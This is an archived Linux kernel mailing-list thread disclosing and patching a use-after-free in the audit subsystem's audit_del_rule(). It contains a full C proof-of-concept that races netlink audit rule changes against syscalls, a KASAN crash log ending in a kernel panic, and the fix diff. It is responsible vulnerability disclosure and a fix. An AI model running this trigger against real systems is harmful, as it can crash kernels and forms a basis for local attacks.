Audit system development
 help / color / mirror / Atom feed
* [PATCH 0/1] audit: fix use-after-free in audit_del_rule
@ 2026-07-21 15:37 Ren Wei
  2026-07-21 15:37 ` [PATCH 1/1] audit: fix potential use-after-free in audit_del_rule() Ren Wei
  0 siblings, 1 reply; 2+ messages in thread
From: Ren Wei @ 2026-07-21 15:37 UTC (permalink / raw)
  To: audit; +Cc: paul, eparis, rgb, vega, rakukuip, enjou1224z

From: Luxiao Xu <rakukuip@gmail.com>

Hi Linux kernel maintainers,

We found and validated an issue in kernel/auditfilter.c. The bug is reachable by a local user via the audit subsystem.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

audit_del_rule() destroys e->rule.exe via audit_remove_mark_rule()
before unlinking the rule from RCU-visible filter lists and waiting for a
grace period. Concurrent readers in audit_filter() and
audit_filter_rules() still dereference e->rule.exe, while the fsnotify
mark can be freed on an independent lifetime path. This creates a use-after-free
window on rule->exe during rule deletion.

To fix this, we ensure that the rule is unlinked from the RCU-visible lists and
synchronize_rcu() is invoked before calling audit_remove_mark_rule(). This
guarantees that all existing RCU readers have exited their critical sections
before any underlying resources are destroyed.

Reproducer:

gcc -O2 -static -o poc poc.c
./poc

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------

#define _GNU_SOURCE
#include <errno.h>
#include <linux/audit.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <unistd.h>

#ifndef SYS_gettid
#define SYS_gettid __NR_gettid
#endif

static atomic_int g_stop = 0;

struct rule_blob {
    struct audit_rule_data *rule;
    size_t len;
};

static struct rule_blob g_rule;

static int nl_open(void)
{
    int fd;
    struct sockaddr_nl addr;

    fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_AUDIT);
    if (fd < 0)
        return -1;

    memset(&addr, 0, sizeof(addr));
    addr.nl_family = AF_NETLINK;
    addr.nl_pid = (uint32_t)syscall(SYS_gettid);

    if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        close(fd);
        return -1;
    }
    return fd;
}

static int nl_send(int fd, uint16_t type, const void *payload, size_t payload_len,
                   uint16_t flags, uint32_t seq)
{
    char buf[16384];
    struct nlmsghdr *h = (struct nlmsghdr *)buf;
    struct sockaddr_nl dst;
    struct iovec iov;
    struct msghdr msg;

    if (NLMSG_SPACE(payload_len) > sizeof(buf))
        return -EMSGSIZE;

    memset(h, 0, NLMSG_SPACE(payload_len));
    h->nlmsg_len = NLMSG_LENGTH(payload_len);
    h->nlmsg_type = type;
    h->nlmsg_flags = NLM_F_REQUEST | flags;
    h->nlmsg_seq = seq;

    if (payload_len)
        memcpy(NLMSG_DATA(h), payload, payload_len);

    memset(&dst, 0, sizeof(dst));
    dst.nl_family = AF_NETLINK;

    iov.iov_base = h;
    iov.iov_len = h->nlmsg_len;

    memset(&msg, 0, sizeof(msg));
    msg.msg_name = &dst;
    msg.msg_namelen = sizeof(dst);
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

    if (sendmsg(fd, &msg, 0) < 0)
        return -errno;
    return 0;
}

static int nl_ack(int fd, uint32_t seq)
{
    char buf[8192];

    for (;;) {
        ssize_t n = recv(fd, buf, sizeof(buf), 0);
        if (n < 0) {
            if (errno == EINTR)
                continue;
            return -errno;
        }

        for (struct nlmsghdr *h = (struct nlmsghdr *)buf;
             NLMSG_OK(h, (unsigned int)n);
             h = NLMSG_NEXT(h, n)) {
            if (h->nlmsg_type != NLMSG_ERROR)
                continue;
            if (h->nlmsg_seq != seq)
                continue;
            return ((struct nlmsgerr *)NLMSG_DATA(h))->error;
        }
    }
}

static int nl_req_ack(int fd, uint16_t type, const void *payload, size_t payload_len, uint32_t seq)
{
    int ret = nl_send(fd, type, payload, payload_len, NLM_F_ACK, seq);
    if (ret < 0)
        return ret;
    return nl_ack(fd, seq);
}

static int set_audit_enabled(int fd, int enabled)
{
    struct audit_status st;

    memset(&st, 0, sizeof(st));
    st.mask = AUDIT_STATUS_ENABLED;
    st.enabled = enabled;

    return nl_req_ack(fd, AUDIT_SET, &st, sizeof(st), 0x100);
}

static struct rule_blob build_rule(const char *exe)
{
    struct rule_blob rb = {0};
    size_t exe_len = strlen(exe);
    size_t len = sizeof(struct audit_rule_data) + exe_len;
    struct audit_rule_data *r = calloc(1, len);
    int sysno = __NR_gettid;

    if (!r)
        return rb;

    r->flags = AUDIT_FILTER_EXIT;
    r->action = AUDIT_NEVER;

    if (sysno >= 0 && sysno < AUDIT_BITMASK_SIZE * 32)
        r->mask[AUDIT_WORD(sysno)] |= AUDIT_BIT(sysno);

    r->field_count = AUDIT_MAX_FIELDS;
    for (int i = 0; i < AUDIT_MAX_FIELDS - 1; i++) {
        r->fields[i] = AUDIT_UID;
        r->values[i] = 0;
        r->fieldflags[i] = AUDIT_EQUAL;
    }
    r->fields[AUDIT_MAX_FIELDS - 1] = AUDIT_EXE;
    r->values[AUDIT_MAX_FIELDS - 1] = (uint32_t)exe_len;
    r->fieldflags[AUDIT_MAX_FIELDS - 1] = AUDIT_EQUAL;
    r->buflen = (uint32_t)exe_len;
    memcpy(r->buf, exe, exe_len);

    rb.rule = r;
    rb.len = len;
    return rb;
}

static void *syscall_thread(void *arg)
{
    (void)arg;
    while (!atomic_load_explicit(&g_stop, memory_order_relaxed)) {
        (void)syscall(__NR_gettid);
        asm volatile("" ::: "memory");
    }
    return NULL;
}

static void *churn_thread(void *arg)
{
    int fd = nl_open();
    uint32_t seq = 0x200000 + (uint32_t)(intptr_t)arg * 100000;

    if (fd < 0)
        return NULL;

    while (!atomic_load_explicit(&g_stop, memory_order_relaxed)) {
        (void)nl_send(fd, AUDIT_DEL_RULE, g_rule.rule, g_rule.len, 0, seq++);
        (void)nl_send(fd, AUDIT_ADD_RULE, g_rule.rule, g_rule.len, 0, seq++);
    }

    close(fd);
    return NULL;
}

int main(int argc, char **argv)
{
    int runtime = 180;
    int syscall_threads = 64;
    int churners = 8;
    int fd, ret;
    pthread_t *tids;

    if (argc > 1)
        runtime = atoi(argv[1]);
    if (argc > 2)
        syscall_threads = atoi(argv[2]);
    if (argc > 3)
        churners = atoi(argv[3]);

    if (syscall_threads < 1)
        syscall_threads = 1;
    if (churners < 1)
        churners = 1;

    g_rule = build_rule("/tmp/poc_exit");
    if (!g_rule.rule) {
        fprintf(stderr, "build_rule failed\n");
        return 1;
    }

    fd = nl_open();
    if (fd < 0) {
        perror("nl_open");
        return 1;
    }

    ret = set_audit_enabled(fd, 1);
    if (ret < 0)
        fprintf(stderr, "AUDIT_SET enable failed: %d (%s)\n", ret, strerror(-ret));

    ret = nl_req_ack(fd, AUDIT_ADD_RULE, g_rule.rule, g_rule.len, 0x200);
    if (ret < 0 && ret != -EEXIST) {
        fprintf(stderr, "AUDIT_ADD_RULE failed: %d (%s)\n", ret, strerror(-ret));
        return 1;
    }

    tids = calloc((size_t)(syscall_threads + churners), sizeof(*tids));
    if (!tids)
        return 1;

    printf("start runtime=%d syscall_threads=%d churners=%d\n", runtime, syscall_threads, churners);
    fflush(stdout);

    for (int i = 0; i < syscall_threads; i++)
        pthread_create(&tids[i], NULL, syscall_thread, NULL);
    for (int i = 0; i < churners; i++)
        pthread_create(&tids[syscall_threads + i], NULL, churn_thread, (void *)(intptr_t)i);

    sleep(runtime);
    atomic_store(&g_stop, 1);

    for (int i = 0; i < syscall_threads + churners; i++)
        pthread_join(tids[i], NULL);

    (void)nl_req_ack(fd, AUDIT_DEL_RULE, g_rule.rule, g_rule.len, 0x300);
    (void)set_audit_enabled(fd, 0);

    close(fd);
    free(tids);
    free(g_rule.rule);

    puts("done");
    return 0;
}

------END poc.c--------

----BEGIN crash log----

root@syzkaller:/mnt/home_host/new_poc# ./poc
[  257.926507][   T30] audit: type=1305 audit(1784610146.851:113): auid=0 ses=11
start runtime=180 syscall_threads=64 churners=8
[  258.455876][ T9267] =========================================================
[  258.456796][ T9267] BUG: KASAN: slab-use-after-free in audit_mark_compare+0x0
[  258.457821][ T9267] Read of size 8 at addr ffff88801fb6f708 by task poc/9267
[  258.458538][ T9267] 
[  258.458926][ T9267] CPU: 0 UID: 0 PID: 9267 Comm: poc Not tainted 7.0.0-rc6- 
[  258.458941][ T9267] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, a4
[  258.458957][ T9267] Call Trace:
[  258.458978][ T9267]  <TASK>
[  258.458981][ T9267]  dump_stack_lvl+0x10e/0x1f0
[  258.459094][ T9267]  print_report+0xf7/0x600
[  258.459216][ T9267]  ? preempt_count_sub+0x13/0xd0
[  258.459244][ T9267]  ? __virt_addr_valid+0x1ab/0x330
[  258.459282][ T9267]  ? __phys_addr+0x41/0x90
[  258.459298][ T9267]  ? audit_mark_compare+0x21/0xa0
[  258.459308][ T9267]  kasan_report+0xe4/0x120
[  258.459316][ T9267]  ? audit_mark_compare+0x21/0xa0
[  258.459338][ T9267]  audit_mark_compare+0x21/0xa0
[  258.459365][ T9267]  audit_exe_compare+0xba/0xd0
[  258.459375][ T9267]  audit_filter_rules+0x1332/0x2680
[  258.459384][ T9267]  ? __pfx___schedule+0x10/0x10
[  258.459539][ T9267]  ? __pfx_audit_filter_rules+0x10/0x10
[  258.459547][ T9267]  ? __pfx___schedule+0x10/0x10
[  258.459571][ T9267]  __audit_filter_op+0x1a9/0x260
[  258.459580][ T9267]  ? __pfx___audit_filter_op+0x10/0x10
[  258.459587][ T9267]  ? lock_acquire+0x303/0x360
[  258.459633][ T9267]  ? lock_release+0x225/0x2f0
[  258.459639][ T9267]  audit_filter_syscall.part.0+0x72/0x1b0
[  258.459647][ T9267]  __audit_syscall_exit+0x121/0x1d0
[  258.459655][ T9267]  do_syscall_64+0x7bf/0x800
[  258.459668][ T9267]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  258.459698][ T9267] RIP: 0033:0x4280bd
[  258.459724][ T9267] Code: b3 66 2e 0f 1f 84 00 00 00 00 00 66 90 f3 0f 1e fa8
[  258.459730][ T9267] RSP: 002b:00007faa73a36208 EFLAGS: 00000246 ORIG_RAX: 00a
[  258.459750][ T9267] RAX: 0000000000002433 RBX: 00007faa73a36cdc RCX: 0000000d
[  258.459754][ T9267] RDX: 00000000004280bd RSI: 00000000004280bd RDI: 0000000d
[  258.459806][ T9267] RBP: 00007faa73a36240 R08: 0000000000000000 R09: 00000000
[  258.459810][ T9267] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fa0
[  258.459814][ T9267] R13: ffffffffffffffb8 R14: 0000000000000000 R15: 00007ff0
[  258.459821][ T9267]  </TASK>
[  258.459823][ T9267] 
[  258.480147][   T30] audit: type=1305 audit(1784610147.361:114): auid=0 ses=11
[  258.480521][ T9267] Allocated by task 9264:
[  258.481306][   T30] audit: type=1305 audit(1784610147.361:115): auid=0 ses=10
[  258.481949][ T9267]  kasan_save_stack+0x33/0x60
[  258.487115][ T9267]  kasan_save_track+0x14/0x30
[  258.487644][ T9267]  __kasan_kmalloc+0xaa/0xb0
[  258.488362][ T9267]  audit_alloc_mark+0x352/0x390
[  258.488973][ T9267]  audit_data_to_entry+0xb95/0x1550
[  258.489458][ T9267]  audit_rule_change+0x2de/0x9b0
[  258.489910][ T9267]  audit_receive_msg+0x9f1/0x26c0
[  258.490375][ T9267]  audit_receive+0x1e6/0x320
[  258.491308][ T9267]  netlink_unicast+0x44c/0x5c0
[  258.491813][ T9267]  netlink_sendmsg+0x493/0x8c0
[  258.492271][ T9267]  ____sys_sendmsg+0x78e/0x7c0
[  258.492751][ T9267]  ___sys_sendmsg+0x129/0x1b0
[  258.493491][ T9267]  __sys_sendmsg+0x133/0x1d0
[  258.493914][ T9267]  do_syscall_64+0x116/0x800
[  258.494340][ T9267]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  258.495011][ T9267] 
[  258.495241][ T9267] Freed by task 56:
[  258.495636][ T9267]  kasan_save_stack+0x33/0x60
[  258.496062][ T9267]  kasan_save_track+0x14/0x30
[  258.496508][ T9267]  kasan_save_free_info+0x3b/0x60
[  258.496992][ T9267]  __kasan_slab_free+0x5f/0x80
[  258.497414][ T9267]  kfree+0x2e2/0x6c0
[  258.497768][ T9267]  fsnotify_final_mark_destroy+0x46/0x70
[  258.498309][ T9267]  fsnotify_mark_destroy_workfn+0x18d/0x220
[  258.498823][ T9267]  process_one_work+0x62b/0xfb0
[  258.499393][ T9267]  worker_thread+0x3fd/0x7e0
[  258.499857][ T9267]  kthread+0x221/0x280
[  258.500263][ T9267]  ret_from_fork+0x899/0x9b0
[  258.500695][ T9267]  ret_from_fork_asm+0x1a/0x30
[  258.501142][ T9267] 
[  258.501470][ T9267] The buggy address belongs to the object at ffff88801fb6f0
[  258.501470][ T9267]  which belongs to the cache kmalloc-192 of size 192
[  258.503484][ T9267] The buggy address is located 8 bytes inside of
[  258.503484][ T9267]  freed 192-byte region [ffff88801fb6f700, ffff88801fb6f7)
[  258.504798][ T9267] 
[  258.505036][ T9267] The buggy address belongs to the physical page:
[  258.505668][ T9267] page: refcount:0 mapcount:0 mapping:0000000000000000 indf
[  258.506476][ T9267] flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
[  258.507106][ T9267] page_type: f5(slab)
[  258.507786][ T9267] raw: 00fff00000000000 ffff8880178413c0 dead000000000100 2
[  258.508902][ T9267] raw: 0000000000000000 0000000800100010 00000000f5000000 0
[  258.509716][ T9267] page dumped because: kasan: bad access detected
[  258.510322][ T9267] page_owner tracks the page as allocated
[  258.510896][ T9267] page last allocated via order 0, migratetype Unmovable, 4
[  258.512959][ T9267]  post_alloc_hook+0xe6/0x100
[  258.513426][ T9267]  get_page_from_freelist+0x55c/0x2210
[  258.513918][ T9267]  __alloc_frozen_pages_noprof+0x221/0x1cb0
[  258.514481][ T9267]  new_slab+0xa2/0x5f0
[  258.514873][ T9267]  refill_objects+0xe3/0x430
[  258.515330][ T9267]  __pcs_replace_empty_main+0x2ed/0x650
[  258.516237][ T9267]  __kmalloc_noprof+0x658/0x820
[  258.517049][ T9267]  usb_alloc_urb+0x73/0xa0
[  258.517562][ T9267]  usb_control_msg+0x121/0x290
[  258.518032][ T9267]  usb_get_descriptor+0x9d/0x160
[  258.518496][ T9267]  usb_get_device_descriptor+0x5a/0xc0
[  258.519017][ T9267]  register_root_hub+0xb0/0x400
[  258.519488][ T9267]  usb_add_hcd+0x737/0xd90
[  258.520235][ T9267]  dummy_hcd_probe+0x108/0x240
[  258.520782][ T9267]  platform_probe+0xb4/0x130
[  258.521236][ T9267]  really_probe+0x1a0/0x6f0
[  258.521669][ T9267] page last free pid 1 tgid 1 stack trace:
[  258.522261][ T9267]  __free_frozen_pages+0x52d/0x960
[  258.522762][ T9267]  qlist_free_all+0x47/0xf0
[  258.523202][ T9267]  kasan_quarantine_reduce+0x195/0x1e0
[  258.523702][ T9267]  __kasan_slab_alloc+0x69/0x90
[  258.524316][ T9267]  __kmalloc_cache_noprof+0x23e/0x6e0
[  258.524911][ T9267]  device_add+0x9e7/0x1060
[  258.525338][ T9267]  usb_new_device+0x826/0xe20
[  258.525793][ T9267]  register_root_hub+0x196/0x400
[  258.526226][ T9267]  usb_add_hcd+0x737/0xd90
[  258.526618][ T9267]  dummy_hcd_probe+0x108/0x240
[  258.527126][ T9267]  platform_probe+0xb4/0x130
[  258.527597][ T9267]  really_probe+0x1a0/0x6f0
[  258.527989][ T9267]  __driver_probe_device+0x15d/0x300
[  258.528889][ T9267]  driver_probe_device+0x4a/0x140
[  258.529368][ T9267]  __device_attach_driver+0x14a/0x240
[  258.530030][ T9267]  bus_for_each_drv+0x130/0x1a0
[  258.530758][ T9267] 
[  258.531521][ T9267] Memory state around the buggy address:
[  258.532580][ T9267]  ffff88801fb6f600: 00 00 00 00 00 00 00 00 00 00 00 00 00
[  258.533421][ T9267]  ffff88801fb6f680: 00 fc fc fc fc fc fc fc fc fc fc fc fc
[  258.534107][ T9267] >ffff88801fb6f700: fa fb fb fb fb fb fb fb fb fb fb fb fb
[  258.534811][ T9267]                       ^
[  258.535202][ T9267]  ffff88801fb6f780: fb fb fb fb fb fb fb fb fc fc fc fc fc
[  258.535905][ T9267]  ffff88801fb6f800: 00 00 00 00 00 00 00 00 00 00 00 00 00
[  258.536800][ T9267] =========================================================
[  258.579900][   T30] audit: type=1300 audit(1784610147.361:115): arch=c000003)
[  258.773269][   T30] audit: type=1327 audit(1784610147.361:115): proctitle="."
[  258.774357][   T30] audit: type=1305 audit(1784610147.361:116): auid=0 ses=11
[  258.859256][   T30] audit: type=1300 audit(1784610147.361:116): arch=c000003)
[  258.992339][   T30] audit: type=1327 audit(1784610147.361:116): proctitle="."
[  258.993143][   T30] audit: type=1300 audit(1784610147.361:114): arch=c000003)
[  259.140572][   T30] audit: type=1306 audit(1784610147.361:114): saddr=1000000
[  261.216937][ T9267] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[  261.217841][ T9267] CPU: 0 UID: 0 PID: 9267 Comm: poc Not tainted 7.0.0-rc6- 
[  261.218702][ T9267] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, a4
[  261.219693][ T9267] Call Trace:
[  261.219971][ T9267]  <TASK>
[  261.220216][ T9267]  dump_stack_lvl+0x3b/0x1f0
[  261.220601][ T9267]  vpanic+0x8b4/0x930
[  261.220972][ T9267]  ? __pfx_vpanic+0x10/0x10
[  261.221574][ T9267]  ? audit_mark_compare+0x21/0xa0
[  261.222155][ T9267]  panic+0xca/0xd0
[  261.222521][ T9267]  ? __pfx_panic+0x10/0x10
[  261.223114][ T9267]  ? audit_mark_compare+0x21/0xa0
[  261.224082][ T9267]  ? preempt_schedule_thunk+0x16/0x40
[  261.224628][ T9267]  ? preempt_schedule_common+0x3b/0x80
[  261.225514][ T9267]  ? preempt_schedule_thunk+0x16/0x40
[  261.226494][ T9267]  ? check_panic_on_warn+0x1f/0xb0
[  261.227600][ T9267]  check_panic_on_warn+0xab/0xb0
[  261.228426][ T9267]  end_report+0x132/0x180
[  261.228933][ T9267]  kasan_report+0xf4/0x120
[  261.229375][ T9267]  ? audit_mark_compare+0x21/0xa0
[  261.229826][ T9267]  audit_mark_compare+0x21/0xa0
[  261.230429][ T9267]  audit_exe_compare+0xba/0xd0
[  261.230947][ T9267]  audit_filter_rules+0x1332/0x2680
[  261.231437][ T9267]  ? __pfx___schedule+0x10/0x10
[  261.232123][ T9267]  ? __pfx_audit_filter_rules+0x10/0x10
[  261.232760][ T9267]  ? __pfx___schedule+0x10/0x10
[  261.233226][ T9267]  __audit_filter_op+0x1a9/0x260
[  261.233681][ T9267]  ? __pfx___audit_filter_op+0x10/0x10
[  261.234230][ T9267]  ? lock_acquire+0x303/0x360
[  261.234647][ T9267]  ? lock_release+0x225/0x2f0
[  261.235083][ T9267]  audit_filter_syscall.part.0+0x72/0x1b0
[  261.235613][ T9267]  __audit_syscall_exit+0x121/0x1d0
[  261.236459][ T9267]  do_syscall_64+0x7bf/0x800
[  261.237258][ T9267]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  261.238087][ T9267] RIP: 0033:0x4280bd
[  261.238453][ T9267] Code: b3 66 2e 0f 1f 84 00 00 00 00 00 66 90 f3 0f 1e fa8
[  261.240923][ T9267] RSP: 002b:00007faa73a36208 EFLAGS: 00000246 ORIG_RAX: 00a
[  261.241676][ T9267] RAX: 0000000000002433 RBX: 00007faa73a36cdc RCX: 0000000d
[  261.242408][ T9267] RDX: 00000000004280bd RSI: 00000000004280bd RDI: 0000000d
[  261.243214][ T9267] RBP: 00007faa73a36240 R08: 0000000000000000 R09: 00000000
[  261.243942][ T9267] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fa0
[  261.244898][ T9267] R13: ffffffffffffffb8 R14: 0000000000000000 R15: 00007ff0
[  261.245614][ T9267]  </TASK>
[  261.246561][ T9267] Kernel Offset: disabled
[  261.247004][ T9267] Rebooting in 86400 seconds..

-----END crash log-----

Best regards,
Luxiao Xu

Luxiao Xu (1):
  audit: fix potential use-after-free in audit_del_rule()

 kernel/auditfilter.c | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 2+ messages in thread

* [PATCH 1/1] audit: fix potential use-after-free in audit_del_rule()
  2026-07-21 15:37 [PATCH 0/1] audit: fix use-after-free in audit_del_rule Ren Wei
@ 2026-07-21 15:37 ` Ren Wei
  0 siblings, 0 replies; 2+ messages in thread
From: Ren Wei @ 2026-07-21 15:37 UTC (permalink / raw)
  To: audit; +Cc: paul, eparis, rgb, vega, rakukuip, enjou1224z

From: Luxiao Xu <rakukuip@gmail.com>

`audit_del_rule()` destroys `e->rule.exe` via `audit_remove_mark_rule()`
before unlinking the rule from RCU-visible filter lists and waiting for a
grace period. Concurrent readers in `audit_filter()` and
`audit_filter_rules()` still dereference `e->rule.exe`, while the fsnotify
mark can be freed on an independent lifetime path. This creates a use-after-free
window during rule deletion.

Fix this by unlinking the rule from the RCU-visible lists and invoking
`synchronize_rcu()` before calling `audit_remove_mark_rule()` (and other
rule removal helpers). This ensures that all existing RCU readers have exited
the critical section before any underlying resources are destroyed.

Fixes: 34d99af52ad4 ("audit: implement audit by executable")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Luxiao Xu <rakukuip@gmail.com>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
---
 kernel/auditfilter.c | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/kernel/auditfilter.c b/kernel/auditfilter.c
index 4401119b5275..7f791afe5791 100644
--- a/kernel/auditfilter.c
+++ b/kernel/auditfilter.c
@@ -1045,6 +1045,10 @@ int audit_del_rule(struct audit_entry *entry)
 		goto out;
 	}
 
+	list_del_rcu(&e->list);
+	list_del(&e->rule.list);
+	synchronize_rcu();
+
 	if (e->rule.watch)
 		audit_remove_watch_rule(&e->rule);
 
@@ -1062,8 +1066,6 @@ int audit_del_rule(struct audit_entry *entry)
 		audit_signals--;
 #endif
 
-	list_del_rcu(&e->list);
-	list_del(&e->rule.list);
 	call_rcu(&e->rcu, audit_free_rule_rcu);
 
 out:
-- 
2.43.0

^ permalink raw reply related	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-07-21 15:37 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-21 15:37 [PATCH 0/1] audit: fix use-after-free in audit_del_rule Ren Wei
2026-07-21 15:37 ` [PATCH 1/1] audit: fix potential use-after-free in audit_del_rule() Ren Wei

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox